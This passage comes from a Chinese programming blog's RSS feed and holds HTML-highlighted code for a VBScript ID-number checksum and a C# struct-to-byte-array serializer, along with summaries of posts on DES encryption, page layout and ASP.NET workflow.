<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;modValue&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;TotalmulAiWi&nbsp;</span><span style="color: #0000ff">Mod</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">11</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;strVerifyCode&nbsp;</span><span style="color: #008000">'</span><span style="color: #008000">&nbsp;As&nbsp;Object</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;strVerifyCode&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;arrVerifyCode(modValue)<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;Ai&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;Ai&nbsp;</span><span style="color: #000000">&amp;</span><span style="color: #000000">&nbsp;strVerifyCode<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Len</span><span style="color: #000000">(e)&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">18</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">And</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">CStr</span><span style="color: #000000">(e)&nbsp;</span><span style="color: #000000">&lt;&gt;</span><span style="color: #000000">&nbsp;Ai&nbsp;</span><span style="color: #0000ff">Then</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #008000">'</span><span style="color: #008000">IDCheck=&nbsp;"身份证号码输入错误（身份证包含有非法字符）！"</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;IDCheck&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">4</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Exit</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Function</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">End</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">End&nbsp;Function</span></div>
</div>
<img src ="http://www.cnblogs.com/evlon/aggbug/1195113.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/37592/" target="_blank">[新闻]SubSonic 2.1 版本发布</a>]]></description></item><item><title>一个简单好用的JS标签(辞职当天帮同事写的东东)</title><link>http://www.cnblogs.com/evlon/archive/2008/03/04/1089568.html</link><dc:creator>阿牛</dc:creator><author>阿牛</author><pubDate>Tue, 04 Mar 2008 01:04:00 GMT</pubDate><guid>http://www.cnblogs.com/evlon/archive/2008/03/04/1089568.html</guid><wfw:comment>http://www.cnblogs.com/evlon/comments/1089568.html</wfw:comment><comments>http://www.cnblogs.com/evlon/archive/2008/03/04/1089568.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/evlon/comments/commentRss/1089568.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/evlon/services/trackbacks/1089568.html</trackback:ping><description><![CDATA[摘要: &lt;!DOCTYPEHTMLPUBLIC"-//W3C//DTDHTML4.0Transitional//EN"&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Untitled&lt;/title&gt;&lt;styletype="text/css"&gt;.focus{}{background:#ffcc00;}.menu{}{color:red;}&lt&nbsp;&nbsp;<a href='http://www.cnblogs.com/evlon/archive/2008/03/04/1089568.html'>阅读全文</a><img src ="http://www.cnblogs.com/evlon/aggbug/1089568.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/37590/" target="_blank">[新闻]语义搜索领跑后google搜索引擎</a>]]></description></item><item><title>三行两列DIV布局之左固定宽度</title><link>http://www.cnblogs.com/evlon/archive/2007/12/21/1009286.html</link><dc:creator>阿牛</dc:creator><author>阿牛</author><pubDate>Fri, 21 Dec 2007 07:57:00 GMT</pubDate><guid>http://www.cnblogs.com/evlon/archive/2007/12/21/1009286.html</guid><wfw:comment>http://www.cnblogs.com/evlon/comments/1009286.html</wfw:comment><comments>http://www.cnblogs.com/evlon/archive/2007/12/21/1009286.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/evlon/comments/commentRss/1009286.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/evlon/services/trackbacks/1009286.html</trackback:ping><description><![CDATA[摘要: 三行两列DIV布局之左固定宽度&nbsp;&nbsp;<a href='http://www.cnblogs.com/evlon/archive/2007/12/21/1009286.html'>阅读全文</a><img src ="http://www.cnblogs.com/evlon/aggbug/1009286.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/37586/" target="_blank">[新闻]2008年7月9日科技博客精选</a>]]></description></item><item><title>XP SN</title><link>http://www.cnblogs.com/evlon/archive/2007/12/09/988291.html</link><dc:creator>阿牛</dc:creator><author>阿牛</author><pubDate>Sun, 09 Dec 2007 04:15:00 GMT</pubDate><guid>http://www.cnblogs.com/evlon/archive/2007/12/09/988291.html</guid><description><![CDATA[摘要: XP的SN&nbsp;&nbsp;<a href='http://www.cnblogs.com/evlon/archive/2007/12/09/988291.html'>阅读全文</a><img src ="http://www.cnblogs.com/evlon/aggbug/988291.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/37585/" target="_blank">[新闻]Google推出免费虚拟现实服务 用户至少13岁</a>]]></description></item><item><title>C与C#通讯加密之C语言DES的cbc pkcs7的实现(二）</title><link>http://www.cnblogs.com/evlon/archive/2007/11/13/958014.html</link><dc:creator>阿牛</dc:creator><author>阿牛</author><pubDate>Tue, 13 Nov 2007 06:38:00 GMT</pubDate><guid>http://www.cnblogs.com/evlon/archive/2007/11/13/958014.html</guid><wfw:comment>http://www.cnblogs.com/evlon/comments/958014.html</wfw:comment><comments>http://www.cnblogs.com/evlon/archive/2007/11/13/958014.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/evlon/comments/commentRss/958014.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/evlon/services/trackbacks/958014.html</trackback:ping><description><![CDATA[摘要: 没有想到，上个随笔的代码在POS机上出错，查了半天，如果去掉malloc和free,就没有事了。<br>所以，把现在的不用动态内存分配的算法记录下<br>&nbsp;&nbsp;<a href='http://www.cnblogs.com/evlon/archive/2007/11/13/958014.html'>阅读全文</a><img src ="http://www.cnblogs.com/evlon/aggbug/958014.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/37584/" target="_blank">[新闻]微软扩大企业在线应用 每年收$180远高于Google</a>]]></description></item><item><title>C与C#通讯加密之C语言DES的cbc pkcs7的实现</title><link>http://www.cnblogs.com/evlon/archive/2007/11/12/956889.html</link><dc:creator>阿牛</dc:creator><author>阿牛</author><pubDate>Mon, 12 Nov 2007 07:54:00 GMT</pubDate><guid>http://www.cnblogs.com/evlon/archive/2007/11/12/956889.html</guid><wfw:comment>http://www.cnblogs.com/evlon/comments/956889.html</wfw:comment><comments>http://www.cnblogs.com/evlon/archive/2007/11/12/956889.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/evlon/comments/commentRss/956889.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/evlon/services/trackbacks/956889.html</trackback:ping><description><![CDATA[摘要: C#与C程序通讯时，为了数据安全，要对数据进行DES_cbc_pkcs7加密，这是C的实现<br>&nbsp;&nbsp;<a href='http://www.cnblogs.com/evlon/archive/2007/11/12/956889.html'>阅读全文</a><img src ="http://www.cnblogs.com/evlon/aggbug/956889.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/37583/" target="_blank">[新闻]当Facebook开始引入个人三维空间</a>]]></description></item><item><title>第一个asp.net的workflow例子</title><link>http://www.cnblogs.com/evlon/archive/2007/09/12/890725.html</link><dc:creator>阿牛</dc:creator><author>阿牛</author><pubDate>Wed, 12 Sep 2007 06:24:00 GMT</pubDate><guid>http://www.cnblogs.com/evlon/archive/2007/09/12/890725.html</guid><wfw:comment>http://www.cnblogs.com/evlon/comments/890725.html</wfw:comment><comments>http://www.cnblogs.com/evlon/archive/2007/09/12/890725.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnblogs.com/evlon/comments/commentRss/890725.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/evlon/services/trackbacks/890725.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp; 建立步骤如下:<br />
&nbsp;&nbsp;&nbsp; 一. 建立一个 State Machine Workflow Library ,命名为StateLib. 完成后,修改文件WorkFlow1为WF_Login<br />
&nbsp;&nbsp;&nbsp; 二. 在里面通过设计器,加入下面的工作流(具体如何设计,不再说明),最终结果如图:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<img height="350" alt="" src="http://www.cnblogs.com/images/cnblogs_com/evlon/20070912135346406.jpg" width="382" border="0" /><br />
<img height="347" alt="" src="http://www.cnblogs.com/images/cnblogs_com/evlon/20070912135406359.jpg" width="307" border="0" /><br />
<br />
<img height="347" alt="" src="http://www.cnblogs.com/images/cnblogs_com/evlon/20070912135422515.jpg" width="307" border="0" /><br />
&nbsp;&nbsp;&nbsp; 三. 把工作流发布成WebService,VS2005会自动命名为:StateLib_WebService<br />
<img alt="" src="http://www.cnblogs.com/images/cnblogs_com/evlon/20070912140003218.jpg" border="0" /><br />
&nbsp;&nbsp;&nbsp; 四. 添加一个新WebSite项目,命名WorkflowSite. 在Default.aspx中添加输入框,以及按钮<br />
&nbsp;&nbsp;&nbsp; 五. 编写事件,测试一下<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; 工程下载<a href="http://www.cnblogs.com/Files/evlon/Workflow.rar" target="_blank">http://www.cnblogs.com/Files/evlon/Workflow.rar</a><a></a>
 <img src ="http://www.cnblogs.com/evlon/aggbug/890725.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/37582/" target="_blank">[新闻]最新操作系统市场占有率报告</a>]]></description></item><item><title>从struct到byte[]之RawFormatter</title><link>http://www.cnblogs.com/evlon/archive/2007/08/22/865272.html</link><dc:creator>阿牛</dc:creator><author>阿牛</author><pubDate>Wed, 22 Aug 2007 05:55:00 GMT</pubDate><guid>http://www.cnblogs.com/evlon/archive/2007/08/22/865272.html</guid><wfw:comment>http://www.cnblogs.com/evlon/comments/865272.html</wfw:comment><comments>http://www.cnblogs.com/evlon/archive/2007/08/22/865272.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/evlon/comments/commentRss/865272.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/evlon/services/trackbacks/865272.html</trackback:ping><description><![CDATA[<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.cnblogs.com/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;partial&nbsp;</span><span style="color: #0000ff">class</span><span style="color: #000000">&nbsp;Form1&nbsp;:&nbsp;Form<br />
<img id="Codehighlighter1_42_464_Open_Image" onclick="this.style.display='none'; Codehighlighter1_42_464_Open_Text.style.display='none'; Codehighlighter1_42_464_Closed_Image.style.display='inline'; Codehighlighter1_42_464_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_42_464_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_42_464_Closed_Text.style.display='none'; Codehighlighter1_42_464_Open_Image.style.display='inline'; Codehighlighter1_42_464_Open_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_42_464_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.cnblogs.com/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_42_464_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;Form1()<br />
<img id="Codehighlighter1_75_120_Open_Image" onclick="this.style.display='none'; Codehighlighter1_75_120_Open_Text.style.display='none'; Codehighlighter1_75_120_Closed_Image.style.display='inline'; Codehighlighter1_75_120_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_75_120_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_75_120_Closed_Text.style.display='none'; Codehighlighter1_75_120_Open_Image.style.display='inline'; Codehighlighter1_75_120_Open_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_75_120_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.cnblogs.com/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_75_120_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InitializeComponent();<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">void</span><span style="color: #000000">&nbsp;Form1_Load(</span><span style="color: #0000ff">object</span><span style="color: #000000">&nbsp;sender,&nbsp;EventArgs&nbsp;e)<br />
<img id="Codehighlighter1_191_458_Open_Image" onclick="this.style.display='none'; Codehighlighter1_191_458_Open_Text.style.display='none'; Codehighlighter1_191_458_Closed_Image.style.display='inline'; Codehighlighter1_191_458_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_191_458_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_191_458_Closed_Text.style.display='none'; Codehighlighter1_191_458_Open_Image.style.display='inline'; Codehighlighter1_191_458_Open_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_191_458_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.cnblogs.com/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_191_458_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Demo&nbsp;d&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;Demo();<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;d.a&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">5</span><span style="color: #000000">;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;d.b&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">10</span><span style="color: #000000">;<br />
<img id="Codehighlighter1_297_303_Open_Image" onclick="this.style.display='none'; Codehighlighter1_297_303_Open_Text.style.display='none'; Codehighlighter1_297_303_Closed_Image.style.display='inline'; Codehighlighter1_297_303_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_297_303_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_297_303_Closed_Text.style.display='none'; Codehighlighter1_297_303_Open_Image.style.display='inline'; Codehighlighter1_297_303_Open_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;d.c&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">byte</span><span style="color: #000000">[]</span><span id="Codehighlighter1_297_303_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.cnblogs.com/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_297_303_Open_Text"><span style="color: #000000">{</span><span style="color: #000000">1</span><span style="color: #000000">,</span><span style="color: #000000">2</span><span style="color: #000000">,</span><span style="color: #000000">3</span><span style="color: #000000">}</span></span><span style="color: #000000">;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;d.s&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">"</span><span style="color: #000000">123</span><span style="color: #000000">"</span><span style="color: #000000">;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">byte</span><span style="color: #000000">[]&nbsp;buf&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;RawFormatter.RawSerialize(d);<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(</span><span style="color: #000000">"</span><span style="color: #000000">aaa</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/None.gif" align="top"  alt="" /><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;[StructLayout(LayoutKind.Sequential,Pack</span><span style="color: #000000">=</span><span style="color: #000000">1</span><span style="color: #000000">,CharSet</span><span style="color: #000000">=</span><span style="color: #000000">CharSet.Ansi)]<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">struct</span><span style="color: #000000">&nbsp;Demo<br />
<img id="Codehighlighter1_557_779_Open_Image" onclick="this.style.display='none'; Codehighlighter1_557_779_Open_Text.style.display='none'; Codehighlighter1_557_779_Closed_Image.style.display='inline'; Codehighlighter1_557_779_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_557_779_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_557_779_Closed_Text.style.display='none'; Codehighlighter1_557_779_Open_Image.style.display='inline'; Codehighlighter1_557_779_Open_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_557_779_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.cnblogs.com/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_557_779_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">byte</span><span style="color: #000000">&nbsp;a;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;b;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[MarshalAs(UnmanagedType.ByValArray,&nbsp;SizeConst&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">3</span><span style="color: #000000">)]<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">byte</span><span style="color: #000000">[]&nbsp;c;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[MarshalAs(UnmanagedType.ByValTStr,&nbsp;SizeConst&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">5</span><span style="color: #000000">)]<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">string</span><span style="color: #000000">&nbsp;s;<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedBlockEnd.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/None.gif" align="top"  alt="" /><br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">class</span><span style="color: #000000">&nbsp;RawFormatter<br />
<img id="Codehighlighter1_816_1719_Open_Image" onclick="this.style.display='none'; Codehighlighter1_816_1719_Open_Text.style.display='none'; Codehighlighter1_816_1719_Closed_Image.style.display='inline'; Codehighlighter1_816_1719_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_816_1719_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_816_1719_Closed_Text.style.display='none'; Codehighlighter1_816_1719_Open_Image.style.display='inline'; Codehighlighter1_816_1719_Open_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ContractedBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_816_1719_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.cnblogs.com/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_816_1719_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">static</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">byte</span><span style="color: #000000">[]&nbsp;RawSerialize(</span><span style="color: #0000ff">object</span><span style="color: #000000">&nbsp;anything)<br />
<img id="Codehighlighter1_885_1242_Open_Image" onclick="this.style.display='none'; Codehighlighter1_885_1242_Open_Text.style.display='none'; Codehighlighter1_885_1242_Closed_Image.style.display='inline'; Codehighlighter1_885_1242_Closed_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_885_1242_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_885_1242_Closed_Text.style.display='none'; Codehighlighter1_885_1242_Open_Image.style.display='inline'; Codehighlighter1_885_1242_Open_Text.style.display='inline';" src="http://www.cnblogs.com/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span id="Codehighlighter1_885_1242_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.cnblogs.com/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_885_1242_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;rawsize&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;Marshal.SizeOf(anything);<br />
<img src="http://www.cnblogs.com/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IntPtr&nbsp;buffer&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;Marshal.AllocHGlobal(rawsize);<br />
